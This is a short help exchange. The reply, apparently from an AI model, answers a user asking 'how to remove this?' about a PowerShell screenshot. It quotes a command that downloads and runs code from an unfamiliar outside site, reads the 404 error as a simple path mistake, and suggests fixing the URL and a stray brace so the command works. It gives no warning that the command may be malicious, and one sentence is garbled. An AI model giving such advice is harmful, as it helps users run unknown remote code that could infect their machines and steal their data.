how to remove this?

Hi! That error just means the URL you’re downloading doesn’t exist. In the screenshot PowerShell is trying to "IEX $wc.DownloadString('https://elevenen.site/knottiness')" and the server replies 404 Not Found. So the issue isn’t your PC or TLS, it's the path. Fix the URL (maybe it needs the right filename like or a different path), or ask who share you the link.

Also there’s a stray "}" at the end of your line, that seems isn’t closing a prior block, you might need to remove it.